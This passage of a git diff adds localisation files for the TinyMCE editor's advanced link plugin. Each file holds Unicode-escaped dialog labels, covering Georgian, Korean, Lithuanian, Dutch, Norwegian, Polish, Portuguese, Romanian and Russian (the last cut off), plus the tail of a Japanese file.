\u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?",titlefield:"\u30bf\u30a4\u30c8\u30eb",target:"\u30bf\u30fc\u30b2\u30c3\u30c8",url:"\u30ea\u30f3\u30af\u306eURL",title:"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","link_list":"\u30ea\u30f3\u30af\u306e\u4e00\u89a7",rtl:"\u53f3\u304b\u3089\u5de6",ltr:"\u5de6\u304b\u3089\u53f3",accesskey:"\u30a2\u30af\u30bb\u30b9\u30ad\u30fc",tabindex:"\u30bf\u30d6\u30a4\u30f3\u30c7\u30c3\u30af\u30b9",rev:"\u30bf\u30fc\u30b2\u30c3\u30c8\u304b\u3089\u30da\u30fc\u30b8\u306e\u95a2\u4fc2",rel:"\u30da\u30fc\u30b8\u304b\u3089\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u95a2\u4fc2",mime:"\u30bf\u30fc\u30b2\u30c3\u30c8\u306eMIME\u30bf\u30a4\u30d7",encoding:"\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u6587\u5b57\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9","target_langcode":"\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u8a00\u8a9e",width:"\u5e45",height:"\u9ad8\u3055"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/ka_dlg.js b/js/tiny_mce/plugins/advlink/langs/ka_dlg.js new file mode 100755 index 0000000..5ea6a4d --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advlink_dlg',{"target_name":"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8",classes:"\u10d9\u10da\u10d0\u10e1\u10d4\u10d1\u10d8",style:"\u10e1\u10e2\u10d8\u10da\u10d8",id:"\u10e1\u10d0\u10ee\u10d4\u10da\u10d8","popup_position":"\u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0 (X/Y)",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d1\u10d0","popup_size":"\u10d6\u10dd\u10db\u10d0","popup_dependent":"\u10d3\u10d0\u10db\u10dd\u10d9\u10d8\u10d3\u10d4\u10d1\u10e3\u10da\u10d4\u10d1\u10d0 (\u10db\u10ee\u10dd\u10da\u10dd\u10d3 Firefox)","popup_resizable":"\u10d6\u10dd\u10db\u10d8\u10e1 \u10ea\u10d5\u10da\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10e8\u10d5\u10d4\u10d1\u10d0","popup_location":"\u10d2\u10d0\u10dc\u10da\u10d0\u10d2\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_menubar":"\u10db\u10d4\u10dc\u10d8\u10e3\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_toolbar":"\u10d8\u10dc\u10e1\u10e2\u10e0\u10e3\u10db\u10d4\u10dc\u10e2\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_statusbar":"\u10db\u10d3\u10d2\u10dd\u10db\u10d0\u10e0\u10d4\u10dd\u10d1\u10d8\u10e1 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_scrollbars":"\u10d2\u10d0\u10d3\u10d0\u10ee\u10d5\u10d4\u10d5\u10d8\u10e1 \u10d5\u10d4\u10da\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_return":"\'return false\' \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","popup_name":"\u10e4\u10d0\u10dc\u10ef\u10e0\u10d8\u10e1 \u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","popup_url":"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",popup:"\u10d2\u10d0\u10e8\u10da\u10d0 Java-\u10e1 \u10d2\u10d0\u10db\u10dd\u10e7\u10d4\u10dc\u10d4\u10d1\u10d8\u10d7","target_blank":"\u10d0\u10ee\u10d0\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","target_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d0\u10d3\u10e0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","target_parent":"\u10e1\u10d0\u10d9\u10e3\u10d7\u10d0\u10e0\u10d0 \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","target_same":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","anchor_names":"\u10e6\u10e3\u10d6\u10d4\u10d1\u10d8","popup_opts":"\u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","advanced_props":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","event_props":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","popup_props":"\u10d2\u10d0\u10e8\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","general_props":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","advanced_tab":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","events_tab":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d0","popup_tab":"\u10d2\u10d0\u10e8\u10da\u10d0","general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",list:"\u10e1\u10d8\u10d0","is_external":"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d2\u10d0\u10e0\u10d4 \u10d1\u10db\u10e3\u10da\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10d7\u10dd\u10e2 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 http://?","is_email":" \u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d4\u10da.\u10e4\u10dd\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10e2\u10dd\u10d7 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 mailto:?",titlefield:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",target:"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8",url:"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",title:"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","link_list":"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0",rtl:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",ltr:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",accesskey:"\u10e8\u10d4\u10e0\u10ec\u10d4\u10d5\u10d8\u10e1 \u10d2\u10d0\u10e1\u10d0\u10e6\u10d4\u10d1\u10d8",tabindex:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",rev:"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10d3\u10d0\u10db\u10dd\u10d9\u10d8\u10d3\u10d4\u10d1\u10e3\u10da\u10d4\u10d1\u10d0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d7\u10d0\u10dc",rel:"\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1 \u10d3\u10d0\u10db\u10dd\u10d9\u10d8\u10d3\u10d4\u10d1\u10e3\u10da\u10d4\u10d1\u10d0 \u10db\u10d8\u10d6\u10d0\u10dc\u10d7\u10d0\u10dc",mime:"MIME \u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10e2\u10d8\u10de\u10d8",encoding:"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8","target_langcode":"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10d4\u10dc\u10d0",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/ko_dlg.js b/js/tiny_mce/plugins/advlink/langs/ko_dlg.js new file mode 100755 index 0000000..ccd5261 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advlink_dlg',{"target_name":"Target \uc774\ub984",classes:"\ud074\ub798\uc2a4",style:"\uc2a4\ud0c0\uc77c",id:"Id","popup_position":"\uc704\uce58(X/Y)",langdir:"\ud398\uc774\uc9c0 \ubb38\uc790 \ubc29\ud5a5","popup_size":"\ud06c\uae30","popup_dependent":"\uc5f0\ub3d9 (Mozilla/Firefox\ub9cc)","popup_resizable":"\ud06c\uae30\ubcc0\uacbd \uac00\ub2a5","popup_location":"\uc8fc\uc18c\ubc14\ub97c \ud45c\uc2dc","popup_menubar":"\uba54\ub274\ub97c \ud45c\uc2dc","popup_toolbar":"\ud234\ubc14\ub97c \ud45c\uc2dc","popup_statusbar":"\uc0c1\ud0dc\uc904\uc744 \ud45c\uc2dc","popup_scrollbars":"\uc2a4\ud06c\ub864\ubc14\ub97c \ud45c\uc2dc","popup_return":"\'return false\'\ub97c \uc0bd\uc785","popup_name":"Window \uc774\ub984","popup_url":"\ud31d\uc5c5 URL",popup:"Javascript \ud31d\uc5c5","target_blank":"\uc0c8\ucc3d\uc73c\ub85c \uc5f4\ub9b0\ub2e4","target_top":"\ucd5c\uc0c1\uc704 \ud504\ub808\uc784\uc73c\ub85c \uc5f4\ub9b0\ub2e4 (\ubaa8\ub4e0 \ud504\ub808\uc784 \ubcc0\uacbd)","target_parent":"\ubd80\ubaa8\ucc3d/\ud504\ub808\uc784\uc73c\ub85c \uc5f4\ub9b0\ub2e4","target_same":"\uc774 \ucc3d/\ud504\ub808\uc784\uc73c\ub85c \uc5f4\ub9b0\ub2e4","anchor_names":"\uc5e5\ucee4","popup_opts":"\uc635\uc158","advanced_props":"\uace0\uae09\uc758 \uc124\uc815","event_props":"\uc774\ubca4\ud2b8","popup_props":"\ud31d\uc5c5 \uc124\uc815","general_props":"\uc77c\ubc18 \uc124\uc815","advanced_tab":"\uace0\uae09","events_tab":"\uc774\ubca4\ud2b8","popup_tab":"\ud31d\uc5c5","general_tab":"\uc77c\ubc18",list:"\ub9c1\ud06c \ubaa9\ub85d","is_external":"\uc678\ubd80URL\uc774 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4.URL\uc758 \uc55e\uc5d0http://\ub97c \ubd99\uc785\ub2c8\uae4c?","is_email":"\uba54\uc77c\uc8fc\uc18c\uac00 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4. \uba54\uc77c\uc8fc\uc18c\uc758 \uc55e\uc5d0 mailto:\ub97c \ubd99\uc785\ub2c8\uae4c?",titlefield:"\uc81c\ubaa9",target:"Target",url:"\ub9c1\ud06c URL",title:"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","link_list":"\ub9c1\ud06c \ubaa9\ub85d",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",accesskey:"\uc561\uc138\uc2a4 \ud0a4",tabindex:"\ud0ed \uc778\ub371\uc2a4",rev:"\ub9c1\ud06c\ub85c\ubd80\ud130\uc758 \uad00\uacc4",rel:"\ub9c1\ud06c\uc5d0 \uad00\uacc4",mime:"MIME\ud0c0\uc785",encoding:"\ubb38\uc790 \uc778\ucf54\ub529",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc","target_langcode":"\ud398\uc774\uc9c0 \uc5b8\uc5b4",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/lt_dlg.js b/js/tiny_mce/plugins/advlink/langs/lt_dlg.js new file mode 100755 index 0000000..7a48ca4 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advlink_dlg',{"target_name":"Paskirties vardas",classes:"Klas\u0117s",style:"Stilius",id:"Id","popup_position":"Pozicija (X/Y)",langdir:"Kalbos kryptis","popup_size":"Dydis","popup_dependent":"Proporcionaliai (tik Mozilla/Firefox)","popup_resizable":"Galima koreguoti lango i\u0161matavimus","popup_location":"Rodyti adres\u0173 juost\u0105","popup_menubar":"Rodyti meniu juost\u0105","popup_toolbar":"Rodyti \u012franki\u0173 juost\u0105","popup_statusbar":"Rodyti b\u016bsenos juost\u0105","popup_scrollbars":"Rodyti slankjuostes","popup_return":"\u012eterpti \u201ereturn false\u201c","popup_name":"Lango vardas","popup_url":"I\u0161kylan\u010dio lango URL adresas",popup:"Javascript i\u0161kylantis langas","target_blank":"Atverti naujame lange","target_top":"Atverti vir\u0161utiniame lange (pakei\u010dia visus langus)","target_parent":"Atverti t\u0117viniame lange","target_same":"Atverti tame pa\u010diame lange","anchor_names":"Prierai\u0161ai","popup_opts":"Nustatymai","advanced_props":"I\u0161pl\u0117stiniai nustatymai","event_props":"\u012evykiai","popup_props":"I\u0161kylan\u010dio lango nustatymai","general_props":"Bendri nustatymai","advanced_tab":"I\u0161pl\u0117sta","events_tab":"\u012evykiai","popup_tab":"I\u0161kylantis langas","general_tab":"Bendra",list:"Nuorod\u0173 s\u0105ra\u0161as","is_external":"URL adresas, kur\u012f \u012fved\u0117te yra i\u0161orin\u0117 nuoroda, ar norite prid\u0117ti reikaling\u0105 http:// prefiks\u0105?","is_email":"URL adresas, kur\u012f \u012fved\u0117te yra el. pa\u0161to adresas, ar norite prid\u0117ti reikaling\u0105 mailto: prefiks\u0105?",titlefield:"Pavadinimas",target:"Paskirtis",url:"Nuorodos URL adresas",title:"\u012eterpti/Redaguoti nuorod\u0105","link_list":"Nuorod\u0173 s\u0105ra\u0161as",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",accesskey:"Prieigos klavi\u0161as",tabindex:"Tabuliavimo indeksas",rev:"Ry\u0161ys paskirties su puslapiu",rel:"Ry\u0161ys puslapio su paskirtimi",mime:"Paskirties MIME tipas",encoding:"Kalbos koduot\u0117",langcode:"Kalbos kodas","target_langcode":"Paskirties kalba",width:"Plotis",height:"Auk\u0161tis"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/nl_dlg.js b/js/tiny_mce/plugins/advlink/langs/nl_dlg.js new file mode 100755 index 0000000..0e147d8 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advlink_dlg',{"target_name":"Doel",classes:"Klassen",style:"Stijl",id:"Id","popup_position":"Positie (X/Y)",langdir:"Taalrichting","popup_size":"Grootte","popup_dependent":"Afhankelijk (Alleen Mozilla/Firefox)","popup_resizable":"Aanpasbaar venster","popup_location":"Lokatiebalk weergeven","popup_menubar":"Menubalk weergeven","popup_toolbar":"Werkbalk weergeven","popup_statusbar":"Statusbalk weergeven","popup_scrollbars":"Scrollbalken weergeven","popup_return":"\'return false\' invoegen","popup_name":"Vensternaam","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"In nieuw venster openen","target_top":"In bovenste frame openen (vervangt gehele pagina)","target_parent":"In bovenliggend venster / frame openen","target_same":"In dit venster / frame openen","anchor_names":"Ankers","popup_opts":"Opties","advanced_props":"Geavanceerde eigenschappen","event_props":"Gebeurtenissen","popup_props":"Popup eigenschappen","general_props":"Algemene eigenschappen","advanced_tab":"Geavanceerd","events_tab":"Gebeurtenissen","popup_tab":"Popup","general_tab":"Algemeen",list:"Lijst","is_external":"De ingevoerde URL lijkt op een externe link. Wilt u de vereiste http:// tekst voorvoegen?","is_email":"De ingevoerde URL lijkt op een e-mailadres. Wilt u de vereiste mailto: tekst voorvoegen?",titlefield:"Titel",target:"Doel",url:"URL",title:"Link invoegen/bewerken","link_list":"Lijst",rtl:"Van rechts naar links",ltr:"Van links naar rechts",accesskey:"Toegangstoets",tabindex:"Tabvolgorde",rev:"Relatie van doel tot pagina",rel:"Relatie van pagina tot doel",mime:"MIME type",encoding:"Taalcodering",langcode:"Taalcode","target_langcode":"Taal",width:"Breedte",height:"Hoogte"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/no_dlg.js b/js/tiny_mce/plugins/advlink/langs/no_dlg.js new file mode 100755 index 0000000..6289918 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advlink_dlg',{"target_name":"M\u00e5lnavn",classes:"Klasse",style:"Stil",id:"Id","popup_position":"Posisjon (X/Y)",langdir:"Skriftretning","popup_size":"St\u00f8rrelse","popup_dependent":"Avhengig vindu (kun i Mozilla/Firefox)","popup_resizable":"Gj\u00f8r vinduet skalerbart","popup_location":"Vis plasseringslinje","popup_menubar":"Vis menylinje","popup_toolbar":"Vis verkt\u00f8ylinjer","popup_statusbar":"Vis statusline","popup_scrollbars":"Vis rullefelt","popup_return":"Sett inn \\\'return false\\\'","popup_name":"Navn p\u00e5 vindu","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"\u00c5pne i nytt vindu","target_top":"\u00c5pne i toppvindu (erstatter alle rammer)","target_parent":"\u00c5pne i overordnet vindu/ramme","target_same":"\u00c5pne i samme vindu/ramme","anchor_names":"Anker","popup_opts":"Innstillinger","advanced_props":"Avanserte egenskaper","event_props":"Hendelser","popup_props":"Popup egenskaper","general_props":"Generelle egenskaper","advanced_tab":"Avansert","events_tab":"Hendelser","popup_tab":"Popup","general_tab":"Generelt",list:"Liste over lenker","is_external":"URLen du skrev inn ser ut til \u00e5 v\u00e6re en ekstern lenke. \u00d8nsker du \u00e5 legge til obligatorisk http://-prefiks?","is_email":"URLen du skrev inn ser ut til \u00e5 v\u00e6re Epost adresse. \u00d8nsker du \u00e5 legge til obligatorisk mailto:-prefiks?",titlefield:"Tittel",target:"M\u00e5l",url:"Lenke URL",title:"Sett inn/editer lenke","link_list":"Liste over lenker",rtl:"H\u00f8yre mot venstre",ltr:"Venstre mot h\u00f8yre",accesskey:"Hurtigtast",tabindex:"Tabulator indeks",rev:"Forholdet mellom m\u00e5l og side",rel:"Forholdet mellom side og m\u00e5l",mime:"M\u00e5l MIME type",encoding:"M\u00e5l karakter koding",langcode:"Spr\u00e5kkode","target_langcode":"M\u00e5lspr\u00e5k",width:"Bredde",height:"H\u00f8yde"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/pl_dlg.js b/js/tiny_mce/plugins/advlink/langs/pl_dlg.js new file mode 100755 index 0000000..d529d7a --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advlink_dlg',{"target_name":"Nazwa celu",classes:"Klasy",style:"Styl",id:"Id","popup_position":"Pozycja (X/Y)",langdir:"Kierunek czytania tekstu","popup_size":"Rozmiar","popup_dependent":"Zale\u017cny (Mozilla/Firefox wy\u0142\u0105cznie)","popup_resizable":"Stw\u00f3rz okno z mo\u017cliwo\u015bci\u0105 zmiany rozmiaru","popup_location":"Poka\u017c pasek adresu","popup_menubar":"Poka\u017c pasek menu","popup_toolbar":"Poka\u017c narz\u0119dzia","popup_statusbar":"Poka\u017c pasek statusu","popup_scrollbars":"Poka\u017c paski przewijania","popup_return":"Wstaw \'return false\'","popup_name":"Nazwa okna","popup_url":"URL okna",popup:"Wyskakuj\u0105ce okno","target_blank":"Otw\u00f3rz w nowym oknie","target_top":"Otw\u00f3rz w g\u00f3rnej ramce (zamie\u0144 wszystkie ramki)","target_parent":"Otw\u00f3rz w nadrz\u0119dnym oknie / ramce","target_same":"Otw\u00f3rz w tym oknie / ramce","anchor_names":"Kotwice","popup_opts":"Opcje","advanced_props":"Zaawansowae w\u0142a\u015bciwo\u015bci","event_props":"Zdarzenia","popup_props":"W\u0142a\u015bciwo\u015bci okna","general_props":"W\u0142a\u015bciwo\u015bci og\u00f3lne","advanced_tab":"Zaawansowane","events_tab":"Zdarzenia","popup_tab":"Popup","general_tab":"Og\u00f3lne",list:"Lista link\u00f3w","is_external":"Podany adres wydaje si\u0119 by\u0107 zewn\u0119trznym linkiem, czy chcesz doda\u0107 wymagany prefiks http://?","is_email":"Podany adres wydaje si\u0119 by\u0107 adresem emailowym, czy chcesz doda\u0107 wymagany prefiks mailto:?",titlefield:"Tytu\u0142",target:"Cel",url:"URL linka",title:"Wstaw/edytuj link","link_list":"Lista odno\u015bnik\u00f3w",rtl:"Kierunek z prawej do lewej",ltr:"Kierunek z lewej do prawej",accesskey:"Klawisz skr\u00f3tu",tabindex:"Numer tab",rev:"Relacje celu do strony",rel:"Relacje strony do celu",mime:"Docelowy typ MIME",encoding:"Kodowanie znak\u00f3w celu",langcode:"Kod j\u0119zyka","target_langcode":"Docelowy kod j\u0119zyka",width:"Szeroko\u015b\u0107",height:"Wysoko\u015b\u0107"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/pt_dlg.js b/js/tiny_mce/plugins/advlink/langs/pt_dlg.js new file mode 100755 index 0000000..8167855 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advlink_dlg',{"target_name":"Nome do alvo",classes:"Classes",style:"Estilo",id:"Id","popup_position":"Posi\u00e7\u00e3o (X/Y)",langdir:"Dire\u00e7\u00e3o do texto","popup_size":"Tamanho","popup_dependent":"Dependente (Mozilla/Firefox apenas)","popup_resizable":"Permitir altera\u00e7\u00e3o do tamanho da janela","popup_location":"Mostrar a barra de endere\u00e7os","popup_menubar":"Mostrar a barra de menu","popup_toolbar":"Mostrar a barra de ferramentas","popup_statusbar":"Mostrar a barra de status","popup_scrollbars":"Mostrar as barras de scroll","popup_return":"Inserir \"return false\"","popup_name":"Nome da janela","popup_url":"URL do popup",popup:"Popup javascript","target_blank":"Abrir numa nova janela","target_top":"Abrir na p\u00e1gina inteira (substitui todos os quadros)","target_parent":"Abrir na janela/quadro pai","target_same":"Abrir nesta janela/quadro","anchor_names":"\u00c2ncoras","popup_opts":"Op\u00e7\u00f5es","advanced_props":"Propriedades avan\u00e7adas","event_props":"Eventos","popup_props":"Propriedades de popup","general_props":"Propriedades gerais","advanced_tab":"Avan\u00e7ado","events_tab":"Eventos","popup_tab":"Popup","general_tab":"Geral",list:"Lista de hyperlinks","is_external":"A URL digitada parece conduzir a um link externo. Deseja acrescentar o prefixo necess\u00e1rio http://?","is_email":"A URL digitada parece ser um endere\u00e7o de e-mail. Deseja acrescentar o prefixo necess\u00e1rio mailto:?",titlefield:"T\u00edtulo",target:"Alvo",url:"URL do hyperlink",title:"Inserir/editar hyperlink","link_list":"Lista de hyperlinks",rtl:"Da direita para a esquerda",ltr:"Da esquerda para a direita",accesskey:"Chave de acesso",tabindex:"Tabindex",rev:"Rela\u00e7\u00e3o alvo/p\u00e1gina",rel:"Rela\u00e7\u00e3o p\u00e1gina/alvo",mime:"Tipo MIME alvo",encoding:"Codifica\u00e7\u00e3o de caracteres",langcode:"C\u00f3digo do idioma","target_langcode":"Idioma alvo",width:"Largura",height:"Altura"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/ro_dlg.js b/js/tiny_mce/plugins/advlink/langs/ro_dlg.js new file mode 100755 index 0000000..dc12a98 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advlink_dlg',{"target_name":"Nume \u021bint\u0103",classes:"Clase",style:"Stil",id:"Id","popup_position":"Pozi\u021bie (X/Y)",langdir:"Direc\u021bie limb\u0103","popup_size":"M\u0103rime","popup_dependent":"Dependent (Mozilla/Firefox)?","popup_resizable":"Fereastr\u0103 redimensionabil\u0103?","popup_location":"Arat\u0103 bara de adrese","popup_menubar":"Arat\u0103 meniul","popup_toolbar":"Arat\u0103 toolbar-uri","popup_statusbar":"Arat\u0103 bara de stare","popup_scrollbars":"Arat\u0103 barele de derulare","popup_return":"Insereaz\u0103 \'return false\'","popup_name":"Nume fereastr\u0103","popup_url":"URL Popup",popup:"Javascript Popup","target_blank":"Deschide \u00een fereastr\u0103 nou\u0103","target_top":"Deschide \u00een cadrul cel mai mare (\u00eenlocuie\u0219te celelalte cadre)","target_parent":"Deschide leg\u0103tura \u00een fereastra/cadrul p\u0103rinte","target_same":"Deschide leg\u0103tura \u00een fereastra/cadrul de fa\u021b\u0103","anchor_names":"Ancore","popup_opts":"Op\u021biuni","advanced_props":"Propriet\u0103\u021bi avansate","event_props":"Evenimente","popup_props":"Propriet\u0103\u021bi popup","general_props":"Propriet\u0103\u021bi generale","advanced_tab":"Avansat","events_tab":"Evenimente","popup_tab":"Popup","general_tab":"General",list:"List\u0103 de leg\u0103turi","is_external":"URL-ul pe care l-ai introdus pare a fi o leg\u0103tur\u0103 extern\u0103. Vrei s\u0103 adaug \u0219i prefixul http:// necesar?","is_email":"URL-ul pe care l-ai introdus pare a fi o adres\u0103 de e-mail. Vrei s\u0103 adaug \u0219i prefixul mailto: necesar?",titlefield:"Titlu",target:"\u021aint\u0103",url:"URL leg\u0103tur\u0103",title:"Insereaz\u0103/editeaz\u0103 link","link_list":"List\u0103 leg\u0103turi",rtl:"Dreapta la st\u00e2nga",ltr:"St\u00e2nga la dreapta",accesskey:"Cheie de acces",tabindex:"Tabindex",rev:"Rela\u0163ia \u0163intei cu pagina",rel:"Rela\u021bia paginii cu \u021binta",mime:"MIME type \u021bint\u0103",encoding:"Set de caractere \u021bint\u0103",langcode:"Cod limb\u0103","target_langcode":"Limb\u0103",width:"L\u0103\u021bime",height:"\u00cen\u0103l\u021bime"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/ru_dlg.js b/js/tiny_mce/plugins/advlink/langs/ru_dlg.js new file mode 100755 index 0000000..faa6285 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advlink_dlg',{"target_name":"\u0418\u043c\u044f \u0446\u0435\u043b\u0438",classes:"\u041a\u043b\u0430\u0441\u0441\u044b",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0418\u043c\u044f","popup_position":"\u041f\u043e\u0437\u0438\u0446\u0438\u044f (X/Y)",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","popup_size":"\u0420\u0430\u0437\u043c\u0435\u0440","popup_dependent":"\u0417\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Firefox)","popup_resizable":"\u0420\u0430\u0437\u0440\u0435\u0448\u0430\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440","popup_location":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043f\u0430\u043d\u0435\u043b\u044c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f","popup_menubar":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043c\u0435\u043d\u044e","popup_toolbar":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043f\u0430\u043d\u0435\u043b\u0438 